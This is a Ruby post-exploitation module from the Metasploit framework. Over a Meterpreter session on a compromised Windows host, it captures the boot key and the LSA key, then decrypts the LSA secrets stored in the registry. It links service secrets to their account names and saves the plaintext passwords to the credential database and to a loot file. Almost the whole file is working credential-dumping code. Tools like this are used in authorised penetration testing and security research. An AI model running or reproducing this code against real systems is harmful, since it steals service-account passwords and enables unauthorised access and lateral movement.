##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::Common
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Enumerate LSA Secrets',
        'Description' => %q{
          This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
          HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
          code from cachedump.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Rob Bathurst <rob.bathurst[at]foundstone.com>']
      )
    )
    register_options(
      [
        OptBool.new('STORE', [true, 'Store decrypted credentials in database', true]),
      ]
    )
  end

  # Decrypted LSA key is passed into this method
  def get_secret(lsa_key)
    output = "\n"

    # LSA Secret key location within the registry
    root_regkey = 'HKLM\\Security\\Policy\\Secrets\\'
    services_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\'

    secrets = registry_enumkeys(root_regkey)

    secrets.each do |secret_regkey|
      sk_arr = registry_enumkeys(root_regkey + '\\' + secret_regkey)
      next unless sk_arr

      sk_arr.each do |mkeys|
        # CurrVal stores the currently set value of the key. In the case
        # of services, this is usually the password for the service
        # account.
        next unless mkeys == 'CurrVal'

        val_key = root_regkey + '\\' + secret_regkey + '\\' + mkeys
        encrypted_secret = registry_getvaldata(val_key, '')

        next unless encrypted_secret

        if lsa_vista_style?
          # Magic happens here
          decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
        else
          # and here
          if sysinfo['Architecture'] == ARCH_X64
            encrypted_secret = encrypted_secret[0x10..]
          else # 32 bits
            encrypted_secret = encrypted_secret[0xC..]
          end

          decrypted = decrypt_secret_data(encrypted_secret, lsa_key)
        end

        next if decrypted.empty?

        # axe all the non-printables
        decrypted = decrypted.scan(/[[:print:]]/).join

        if secret_regkey.start_with?('_SC_')
          # Service secrets are named like "_SC_yourmom" for a service
          # with name "yourmom". Strip off the "_SC_" to get something
          # we can lookup in the list of services to find out what
          # account this secret is associated with.
          svc_name = secret_regkey[4, secret_regkey.length]
          svc_user = registry_getvaldata(services_key + svc_name, 'ObjectName')

          # if the unencrypted value is not blank and is a service, print
          print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n")
          output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n"
          if datastore['STORE']
            create_credential({
              workspace_id: myworkspace_id,
              origin_type: :session,
              session_id: session_db_id,
              post_reference_name: refname,
              private_type: :password,
              private_data: decrypted,
              username: svc_user,
              service_name: "LSA Secret: #{secret_regkey}",
              status: Metasploit::Model::Login::Status::UNTRIED
            })
          end
        else
          # if the unencrypted value is not blank, print
          print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n")
          output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n"
          if datastore['STORE']
            create_credential({
              workspace_id: myworkspace_id,
              origin_type: :session,
              session_id: session_db_id,
              post_reference_name: refname,
              private_type: :password,
              private_data: decrypted,
              service_name: "LSA Secret: #{secret_regkey}",
              status: Metasploit::Model::Login::Status::UNTRIED
            })
          end
        end
      end
    end

    return output
  end

  # The sauce starts here
  def run
    hostname = sysinfo['Computer']
    print_status("Executing module against #{hostname}")

    print_status('Obtaining boot key...')
    bootkey = capture_boot_key
    vprint_status("Boot key: #{bootkey.unpack1('H*')}")

    print_status('Obtaining Lsa key...')
    lsa_key = capture_lsa_key(bootkey)
    if lsa_key.nil?
      print_error('Could not retrieve LSA key. Are you SYSTEM?')
      return
    end
    vprint_status("Lsa Key: #{lsa_key.unpack1('H*')}")

    secrets = hostname + get_secret(lsa_key)

    print_status('Writing to loot...')

    path = store_loot(
      'registry.lsa.sec',
      'text/plain',
      session,
      secrets,
      'reg_lsa_secrts.txt',
      'Registry LSA Secret Decrypted File'
    )

    print_status("Data saved in: #{path}")
  end
end
